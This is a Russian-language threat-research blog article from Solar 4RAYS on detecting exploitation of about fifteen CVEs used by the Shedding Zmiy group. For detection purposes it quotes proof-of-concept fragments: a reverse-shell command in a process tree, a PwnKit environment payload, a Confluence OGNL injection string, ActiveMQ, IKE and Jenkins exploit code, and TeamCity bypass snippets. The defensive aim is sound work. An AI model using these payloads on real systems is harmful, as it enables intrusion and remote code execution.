Охота на змея: как обнаруживать эксплуатацию уязвимостей из арсенала группировки Shedding Zmiy
Наш блог центра исследования киберугроз Solar 4RAYS, запущенный в конце 2023 года, продолжает радовать новыми исследованиями активных кибергруппировок с техническим анализом их инструментария, тактик и техник. Некоторые статьи из блога, как эта, мы публикуем и здесь.
Сегодня мы решили поделиться своим опытом разработки детектирующей логики, позволяющей своевременно выявлять эксплуатацию уязвимостей, которые злоумышленники использовали, действуя в атакованной инфраструктуре. Опираясь на информацию из статьи «Распутываем змеиный клубок: по следам атак Shedding Zmiy», мы выделим артефакты, на которые можно (и нужно!) обращать внимание при мониторинге защищаемой инфраструктуры.
Театр начинается с вешалки, а исследование уязвимости — с подготовки стенда
Некоторые из этих артефактов могут показаться устаревшими, но наш опыт показывает, что далеко не все IT-администраторы своевременно обновляют свою инфраструктуру, и злоумышленники часто ходят по «протоптанным тропам». Здесь не будет текста правил, но будет всё для того, чтобы самостоятельно перенести детектирующую логику в используемые вами продукты. Предлагаемые нами методы мониторинга рассчитаны в основном на базовую телеметрию, но и она позволяет поймать Змия за хвост :).
Отдельно отметим, что у предложенной в статье логики детектирования могут быть ложные срабатывания, связанные в том числе со стандартным поведением системы, поэтому она потребует тонкой настройки (в том числе фильтрации) под вашу инфраструктуру.
Далее мы опишем уязвимости, использованные группировкой Shedding Zmiy. С признаками эксплуатации некоторых из них команда 4RAYS столкнулась, распутывая змеиный клубок атак Shedding Zmiy (кейсы 1, 3, 4, 6, 7). Однако анализ тактик, техник и процедур, использованных группировкой, позволяет утверждать, что инструментарий злоумышленников шире и включает в себя многие известные в коммьюнити уязвимости трёх последних лет.
Заранее оговоримся, что в большинстве случаев главной рекомендацией будет своевременное обновление продуктов и установка вендорских патчей.
NB! Всегда проверяйте патчи на ограниченном скоупе узлов, чтобы убедиться в их эффективности и сохранении работоспособности инфраструктуры!
Начнём с самых ранних — это уязвимости, которым уже не менее трёх лет.
CVE-2021–1675 — Windows Print Spooler Remote Code Execution Vulnerability (PrintNightmare)
Что это такое?
Это RCE-уязвимость в диспетчере очереди печати Windows (Print Spooler). В начале июня уязвимость справила уже третий день рождения :)
Для успешной атаки злоумышленник, имея доступ к непривилегированной УЗ, должен проэксплуатировать ошибку проверки прав в WinAPI функции RpcAddPrinterDriver, в результате чего в процесс spoolsv.exe будет загружен и выполнен произвольный код с повышенными привилегиями.
Как мониторить?
Не углубляясь в технические подробности, уязвимость можно обнаружить по сети по следующим особенностям:
1. Обращение к spools
В коде (можно ознакомиться на github) это выглядит так:
Соответственно, в трафике ищем аргументы transfer_syntax:
Версия:
2. При этом в трафике можно увидеть n-ное количество dcerpc-вызовов
enumprinterdrivers и addprinterdriverex.
Мониторинг на хосте дополняет сетевые артефакты, покрывается расширенным аудитом Windows и дополнительными средствами аудита (например, Sysmon):
Создание полезной нагрузки в директориях принтера (Event ID 4663 Security \ Sysmon 11)
c:\windows\system32\spool\drivers\x*
Подгрузка в процесс spoolsv.exe полезной нагрузки из директорий принтера (Sysmon 7)
c:\windows\system32\spool\drivers\x*
Изменение параметра (Event ID 4657 Security \ Sysmon 13) NoWarningNoElevationOnInstall в реестре HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint (по умолчанию 0) на 1, что позволит злоумышленнику обойти рекомендованный вендором патч.
Кроме того, существуют менее надёжные события, которые могут помочь с обогащением в случае сработки на любую из описанных выше активностей:
События Event ID 5156 Security и Event ID 3 Sysmon подсветят коннект по высоким портам на уязвимый хост, инициатором станет процесс spoolsv.exe,
Событие Event ID 316 Microsoft-Windows-PrintService/Operational (по умолчанию журнал отключен, необходимо включить) будет содержать имя вредоносного файла, загруженного в директории принтера,
Событие Event ID 808 Microsoft-Windows-SmbClient/Security с конкретным кодом ошибки 0×45А и событие Event ID 31017 (указывает на ошибку проверки подлинности при логоне как гость).
CVE-2021–4034 — Local Privilege Escalation in Polkit
Что это такое?
Polkit (ранее PolicyKit) — это компонент для управления общесистемными привилегиями в Unix-подобных операционных системах. Можно использовать polkit для выполнения команд с повышенными привилегиями, используя команду pkexec, за которой следует команда, предназначенная для выполнения с правами root.
Суть уязвимости — memory corruption, связанная с фиксированным размером буфера argv[] для pkexec. Если оставить буфер пустым (то есть, запустить команду без параметров), при чтении argv[0] будет получен NULL, который в свою очередь является escape-последовательностью для списка аргументов argv. Таким образом, мы уже вышли за пределы этого буфера (out-of-bounds) и начали читать следующий за ним envp.
|---------+---------+-----+------------|---------+---------+-----+------------|
| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] |
|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|
V V V V V V
"program" "-option" NULL "value" "PATH=name" NULLЗлоумышленник может разместить в буфере envp путь к своей полезной нагрузке в переменной PATH, и, так как pkexec был запущен без параметров и обладает suid, нагрузка по пути PATH будет выполнена с повышенными привилегиями.
Как мониторить?
Присмотритесь к вызову pkexec без аргументов, для этого вам потребуется мониторинг запуска процесса (и мониторинг его параметров):
execve("/usr/bin/pkexec",
//args
null,
//evniron
"evil.so:.",
"PATH=GCONV_PATH=.", //path for evil.so
"CHARSET=EVIL", //loof for packets in GCONV_PATH
"GIO_USE_VFS=")Кроме того, можно поискать в логе артефакты выполнения pkexec:
«The value for the SHELL variable was not found the /etc/shells file»,
«The value for environment variable […] contains suspicious content»
CVE-2021–34473 — Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyShell)
Tale as old as time. Цикл уязвимостей ProxyShell не единожды освещался в коммьюнити, поэтому подробно останавливаться на нём не будем. Скажем только: присмотритесь к хостовым generic-правилам на webshell. Их логика чаще всего описывает порождение процессов с родителем, который является процессом службы веб-сервера (например, w3wp.exe):
CVE-2021–44228/CVE-2021–45046/CVE-2021–45105 — LOG4j
Не менее нашумевший, чем её предшественник, цикл уязвимостей LOG4j также не остался без внимания коммьюнити. Например, EmergingThreats создали целый репозиторий с сетевыми детектами данного семейства уязвимостей.
На уровне хоста предлагаем также обратиться к generic-правилам на webshell и отслеживать запуски оболочек от процессов java:
USER PID PPID TT STAT TIME CMD
www-data 46152 1 ? Ssl 00:00:01 /opt/java/openjdk/bin/java/ -jar some-webapp.jar
www-data 46226 46152 ? S 00:00:00 \_ /bin/bash -c sh -i >& /dev/tcp/10.xx.xx.xx/9001 0>&1
www-data 46228 46226 ? S 00:00:00 \_ sh -i
www-data 46230 46228 ? S 00:00:00 \_ python3 -c import pty;pty.spawn("bash")
В логе auditd это выглядит следующим образом:
node=cert-centos7 type=EXECVE msg=audit(1718637300.588:7479): argc=5 a0="/home/user/log4j-shell/jdk1.8.0_20/bin/java" a1="-cp" a2="/home/user/log4j-shell-poc/target/marshalsec-0.0.3-SNAPSHOT-all.jar" a3="marshalsec.jndi.LDAPRefServer" a4="http://localhost:9001/#Exploit"
node=cert-centos7 type=EXECVE msg=audit(1718637315.432:7503): argc=3 a0="/usr/sbin/unix_chkpwd" a1="user" a2="nullok"
node=cert-centos7 type=CRED_REFR msg=audit(1718637326.530:7524): pid=9212 uid=0 auid=1000 ses=1 subj=system_u:system_r:xdm_t:s0-s0:c0.c1023 msg='op=PAM:setcred grantors=pam_unix,pam_gnome_keyring acct="user" exe="/usr/libexec/gdm-session-worker" hostname=cert-centos7 addr=? terminal=/dev/tty1 res=success'
node=cert-centos7 type=EXECVE msg=audit(1718637351.445:7547): argc=1 a0="/bin/sh"
node=cert-centos7 type=EXECVE msg=audit(1718637358.073:7552): argc=1 a0="whoami"
node=cert-centos7 type=CWD msg=audit(1718637360.445:7577): cwd="/usr/local/tomcat"
node=cert-centos7 type=EXECVE msg=audit(1718637398.582:7592): argc=3 a0="/usr/sbin/unix_chkpwd" a1="root" a2="nonull"
node=cert-centos7 type=USER_AUTH msg=audit(1718637398.601:7594): pid=9268 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:sshd_t:s0-s0:c0.c1023 msg='op=PAM:authentication grantors=pam_unix acct="root" exe="/usr/sbin/sshd" hostname=10.xx.xx.xx addr=10.xx.xx.xx terminal=ssh res=success'
Как можно заметить, всё новое — это хорошо себя зарекомендовавшее старое, поэтому повторим призыв из начала статьи: обновляйтесь по мере выхода вендорских патчей!
Продолжим подборкой уязвимостей помоложе: они были раскрыты в 2022–2023 годах.
CVE-2022–27925, CVE-2022–37042 — уязвимости в Zimbra Collaboration Suite
Что это такое?
Zimbra Collaboration Suite (ZCS) 8.8.15 и 9.0 имеет функцию mboximport, которая получает ZIP-архив и извлекает из него файлы. Злоумышленник получает возможность загружать в систему произвольные файлы, что может привести к удаленному выполнению кода.
Как мониторить?
Нюанс: перед анализом трафика необходимо его дешифровать (то есть иметь ключи).
Есть POC-и на github, при анализе которых глаз цепляется за следующие строки:
endpoints = ["/service/extension/backup/mboximport?account-name=admin&account-status=1&ow=cmd",
"/service/extension/backup/mboximport?account-name=admin&ow=2&no-switch=1&append=1"]
Также прокидывается файл «webshell.zip» и, как известно, header у него будет PK.
Собственно, в wireshark при эмуляции можно увидеть:
В целом при написании детектирующей логики можно покрутить различные паттерны путей (/service/extension/backup/mboximport), параметры запроса и header передаваемого файла.
При настройке детектирующей логики также можно опереться на список легальных файлов в Zimbra c расширением jsp.
CVE-2022–41352 — уязвимости в Zimbra Collaboration Suite
Что это такое?
И снова Zimbra! Данная уязвимость также приводит к удаленному выполнению кода. Злоумышленник отправляет вредоносный архив (.cpio, rpm), затем Zimbra отправляет его в Amavis (проверка на спам и вирусы). Amavis, в свою очередь, анализирует вложение и проверяет содержимое архива. И тут…
JSP развертывается в общедоступном каталоге (/opt/zimbra/jetty/webapps/zimbra/public), и welcome — у злоумышленника webshell!
Подвержены уязвимости те же версии Zimbra, что и в CVE-2022–27925, CVE-2022–37042.
P.S.: файловые сигнатуры .cpio — 070707 (в восьмеричной СС), или 0×71c7 (в шестнадцатеричной СС), rpm — |ed ab ee db|.
Как мониторить?
Есть соответствующие правила ETOpen. Можно написать свою детектирующую логику и использовать её в IDS, используя различные комбинации файловых сигнатур и вариации путей (/opt/zimbra/jetty/webapps/zimbra/public).
CVE-2022–34721 — Windows Internet Key Exchange (IKE) Protocol Extensions Remote Code Execution Vulnerability
Что это такое?
Уязвимость заключается в том, что можно послать специально сформированный пакет на целевую систему с сервисом IPSec и исполнить произвольный код.
Как мониторить?
Для успешной эксплуатации уязвимости необходимо сформировать пакет, содержащий следующие ключевые поля:
pkt = ISAKMP(init_cookie=RandString(8), next_payload=0x84, exch_type=0xf3)
pkt /= ISAKMP_payload(next_payload=0x1, load=b"\x00\x00\x01\x7f")Ключевые значения в PoC
next_payload=0×84 и next_payload=0×1: эти значения важны для правильной маршрутизации и обработки полезных данных (payloads). Они определяют типы полезных данных. В нашем случае это Notify-пакет.
exch_type=0xf3: этот параметр указывает на тип обмена (QuickMode), который требует специфической обработки в функциях IKE.
load=b»\x00\x00\x01\x7f»: это payload.
Собственно, в wireshark при анализе пакета мы видим все это:
Осталось поиграть со смещениями (в соответствии с RFC, конечно же), и детектирующая логика готова.
CVE-2022–41080/CVE-2022–41082 — OWASSRF
Что это такое?
Ещё одна уязвимость семейства ProxyShell, не менее громкая, чем её предшественницы. Не можем не отметить, что Exchange в последние два года крепко достаётся от злоумышленников самого разного уровня.
Вектор SSRF отлично описали наши коллеги из отдела анализа защищенности ещё в 2021 году.
Как мониторить?
Исследователям из CrowdStrike удалось обнаружить исходный инструмент, которым пользовались злоумышленники. На основании статьи можно предположить, что злоумышленник аутентифицируется на owa с валидными учётными данными (следите за своими учётками, особенно сервисными!) и затем использует SSRF вида /owa/mastermailbox%40outlook.com/powershell, чтобы получить удалённую сессию Powershell. Пример:
Для детектов на сети необходимо разворачивать TLS.
Детекты, предложенные ETOpen, в целом достаточно хорошо покрывают такую активность.
А на хосте…
Снова отслеживаем запуск подозрительных процессов от хост-процессов сервера. В этом случае — ожидаем цепочку w3wp.exe → powershell.
Кроме того, можно мониторить логи вашего Exchange на предмет запросов типа »/owa/mastermailbox%40outlook.com/powershell» с кодом ответа 200; и запросов к Autodiscover, специфичных для семейства уязвимостей ProxyShell:
».*autodiscover\.json.*\@.*Powershell.*»
CVE-2023–22527 — Atlassian Confluence Data Center and Server Template Injection Vulnerability
Что это такое?
Данная уязвимость затрагивает версии Atlassian Confluence, выпущенные до 5 декабря 2023 года, и позволяет выполнить произвольный код на атакуемой машине.
В коде опубликованных POC прослеживается следующая логика:
Проверяется, уязвима ли версия Confluence (GET-запрос):
В ответе версия:
Которая проверяется в коде:
def check_exploitable_version(version):
exploitable_versions = ['8.0.', '8.1.', '8.2.', '8.3.', '8.4.', '8.5.0', '8.5.1', '8.5.2', '8.5.3']
for exploitable_version in exploitable_versions:
if version.startswith(exploitable_version):
return True
return False
Посылается специально сформированный POST-запрос:
Как мониторить?
В зависимости от реализации отправляется GET-запрос с общей частью »/login.action».
В ответе версию Confluence можно забрать из «span id» и «print-only»:
Printed by Attlassian Confluence 8.4.0 Данный факт не получится использовать для формирования детектирующей логики, только в связке с другими подозрительными событиями.
Самое интересное здесь — это POST-запрос, общая часть которого:
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeaderИ, воспользовавшись своими знаниями регулярных выражений или жестко определив подстроки, можно написать правила, которые будут достаточно точно определять попытки эксплуатации данной CVE.
CVE-2023–25157 — GeoServer SQL Injection
Что это такое?
Простыми словами, GeoServer — это программное обеспечение с открытым исходным кодом, предоставляющее возможность администрирования и публикации геоданных. Из названия понятно, что это SQL инъекция.
Как мониторить?
Сразу лезем в код и видим:
response = requests.get(URL + "/geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities", proxies={"http": PROXY}, verify=False)GET-запрос:
»/geoserver/ows? service=WFS&version=1.0.0&request=GetCapabilities».
И второй GET-запрос в коде:
endpoint = f"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName={name}&maxFeatures=1&outputFormat=json"
response = requests.get(URL + endpoint, proxies={"http": PROXY}, verify=False)И в wireshark:
Тут снова потребуются знания регулярных выражений или простой и дешёвый хардкод подстроки в правиле.
Эти 2 запроса смогут подсветить активность, сигнализирующую о возможной эксплуатации данной CVE.
CVE-2023–36745 — Microsoft Exchange Server Remote Code Execution Vulnerability
Что это такое?
Уязвимость — аналог описанной выше CVE-2022–41082 — основана на десериализации (хотя и не такая грандиозная, как VIEWSTATE, о которой мы рассказывали в нашем блоге). При успешной эксплуатации позволяет злоумышленнику подгрузить вредоносную .NET-сборку и выполнить произвольный код в обход стандартных механизмов безопасности .NET Framework. В этом атакующему помогает класс Microsoft.Exchange.DxStore.Common.DxSerializationUtil.SharedTypeResolver, позволяющий обойти ограничения на загрузку сторонних сборок в контексте активного приложения.
Для эксплуатации злоумышленнику необходимо послать серверу Exchange специальным образом сформированный http-запрос, который спровоцирует сервер загрузить вредоносную .NET-сборку с SMB-шары на хосте атакующего. Важно заметить, что для успешной эксплуатации злоумышленник уже должен находиться в одной локальной сети с сервером Exchange.
Как мониторить?
Интересно, что, несмотря на популярный вектор атаки, до сих пор в паблике существует всего один POC для данной уязвимости, авторства N1k0la-T.
Для мониторинга также рекомендуем опираться на generic-правила на webshells — это всё ещё самый простой способ обнаружить попытку эксплуатации уязвимостей веб-приложений. А если вы уже опытные и знаете, как работать с ETW (при помощи LogMan или SilkETW), присмотритесь к провайдеру Microsoft-Windows-DotNETRuntime ETW Provider: благодаря событиям от этого провайдера можно мониторить все имеющиеся сборки и давать алерт на подгрузку неизвестного ранее модуля.
Например, пользуясь вот таким фильтром:
073e0373-213b-4e3d-881a-6430d6d9e369
user
Microsoft-Windows-DotNETRuntime
0x2038
eventlog
EventName
Loader/AssemblyLoad
CVE-2023–46604 — Apache ActiveMQ Vulnerability
Что это такое?
Это уязвимость удаленного выполнения кода в Apache ActiveMQ (брокер сообщений). Суть уязвимости заключается в протоколе OpenWire, который позволяет десериализовать xml с полезной нагрузкой и создать произвольный экземпляр класса org.springframework.context.support.ClassPathXmlApplicationContext.
Как мониторить?
Здесь обращаем внимание на переменную header в коде, а также на »01» после:
def execute(ip, port, srvip, srvport, command, url):
class_name = "org.springframework.context.support.ClassPathXmlApplicationContext"
message = url
header = "1f00000000000000000001"
body = header + "01" + int2hex(len(class_name), 4) + string2hex(class_name) + "01" + int2hex(len(message), 4) + string2hex(message)
payload = int2hex(len(body) // 2, 8) + body
data = bytes.fromhex(payload)
conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
conn.connect((ip, port))
conn.send(data)
conn.close()Собственно, в трафике она сохраняется:
При разработке детектирующей логики можно привязать также «org.springframework.context.support.ClassPathXmlApplicationContext», а также символы «http://» для выявления попыток эксплуатации.
На хосте снова пользуемся generic-логикой для webshells, так как всё выполнение кода будет происходить от процесса java. Продублируем process tree, который демонстрировали ранее, для наглядности:
USER PID PPID TT STAT TIME CMD
www-data 46152 1 ? Ssl 00:00:01 /opt/java/openjdk/bin/java/ -jar some-webapp.jar
www-data 46226 46152 ? S 00:00:00 \_ /bin/bash -c sh -i >& /dev/tcp/10.xx.xx.xx/9001 0>&1
www-data 46228 46226 ? S 00:00:00 \_ sh -i
www-data 46230 46228 ? S 00:00:00 \_ python3 -c import pty;pty.spawn("bash")
CVE-2024–23897 — Jenkins Arbitrary File Leak Vulnerability
Что это такое?
Эксплуатация данной уязвимости предоставляет злоумышленнику возможность чтения произвольных файлов в Jenkins (инструмент для CI/CD).
Как мониторить?
В первую очередь логику можно построить на параметрах запроса:
def run(self):
r = requests.post(f'{self.url}/cli?remoting=false',headers={
"Session": self.session,
"Side": "upload",
"Content-type": "application/octet-stream"
}, data=self.payload, verify=False, timeout=3)def run(self):
r = requests.post(f'{self.url}/cli?remoting=false',headers={
"Session": self.session,
"Side": "download",
}, verify=False, timeout=3)
self.result = r.textА именно POST-запрос + /cli? remoting=false + Side: download/upload, ну и в случае с upload — Content-type.
Конечно, интересно, что передается в блоке data.
В коде указаны конкретные байты, отправляемые в запросе:
def gen_payload(self, path):
payload = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@'
payload += path.encode()
payload += b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
return payload Конечно, часть этой строки можно заменить, но точно останется символ »@»:
Соединив все вышеуказанное, можно написать неплохой детект.
CVE-2024–27198-RCE — JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities
Что это такое?
Удаленное выполнение кода на серверах JetBrains TeamCity, представляет собой обход аутентификации в веб-компоненте TeamCity через path traversal.
Как мониторить?
В коде POC описан метод генерации http-запроса для метода check (проверка на возможность эксплуатации):
def send_auth_bypass_request_cgi(opts = {})
# The file name of the .jsp can be 0 or more characters (it just has to end in .jsp)
vars_get = {
'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp"
}
# Add in 0 or more random query parameters, and ensure the order is shuffled in the request.
0.upto(rand(8)) do
vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16))
end
opts['vars_get'] ||= {}
opts['vars_get'].merge!(vars_get)
opts['shuffle_get_params'] = true
opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8))
send_request_cgi(opts)
end
def check
# We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the
# target is vulnerable.
server_res = send_auth_bypass_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server')
)GET-запрос с определенной подстрокой /app/rest/server и jsp.
Кроме того, в коде есть метод exploit:
res = send_auth_bypass_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name)Здесь POST-запрос с подстрокой /app/rest/users/id%3*/tokens и jsp:
Поделимся здесь регуляркой, объединяющей оба запроса:
pcre:»/\?.*? jsp\s*=\s*\/app\/rest\/.*?(?:\x3b|%3b).*?\.jsp/»
Напоминаем, что тип запроса может быть и GET, и POST.
Ну и в конце эксплуатации ждем код ответа »200» с токеном админа «token name=».
Что можно поискать на хосте?
Например, оставленные webshells (файлы jsp/jar) в директории
/opt/teamcity/webapps/ROOT/plugins/[randomString][/[randomString].jsp
и их распаковку в директории
/data/teamcity_server/datadir/system/caches/plugins.unpacked/[randomString][/[randomString].jsp
Причём набор знаков для имени вебшелла будет совпадать для обеих директорий.
Далее на помощь снова приходит отслеживание активности webshells по процессам: родителем для запущенной оболочки sh/bin/sh/dash/и т.д. будет процесс /opt/java/openjdk/bin/java/:
PID TTY STAT TIME CMD
11960 pts/0 Ss+ 0:00 /bin/bash /run-server.sh
11988 pts/0 S+ 0:00 \_ /bin/sh bin/teamcity-server.sh run -config conf/server.xml
11993 pts/0 S+ 0:00 \_ sh /opt/teamcity/bin/teamcity-server-restarter.sh run -config conf/server.xml
12110 pts/0 Sl+ 3:52 \_ /opt/java/openjdk/bin/java -Djava.util.logging.config.file=/opt/teamcity/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogM
12291 pts/0 Sl+ 0:01 \_ /opt/java/openjdk/bin/java -DTCSubProcessName=TeamCityMavenServer -classpath /opt/teamcity/webapps/ROOT/WEB-INF/plugins/Maven2/server/async-trigger.jar:
12987 pts/0 S+ 0:00 \_ python3 -m http.serverЗаключение
Итак, становится очевидно, что с «возрастом» многие уязвимости не теряют своей актуальности и популярности: не пропатченные уязвимые веб-приложения и почтовые серверы позволяют злоумышленникам получить доступ к инфраструктуре, выполнить вредоносный код и закрепиться. Поэтому регулярно проводите аудит, своевременно устанавливайте обновления и пользуйтесь связкой инструментов для сетевого и хостового мониторинга — тогда атакующим будет намного сложнее оставаться незамеченными. А если подозреваете, что вашу инфраструктуру взломали — обращайтесь к нам за «Выявлением следов компрометации (Compromise Assessment)».
В следующей нашей прикладной статье мы разберём, как детектировать другие вредоносные инструменты злоумышленников, с которыми мы столкнулись при анализе поведения группировки Shedding Zmiy.
Ознакомиться с другими исследованиями в блоге 4RAYS можно по ссылке.
Авторы: команда центра исследования киберугроз Solar 4RAYS, ГК «Солар»
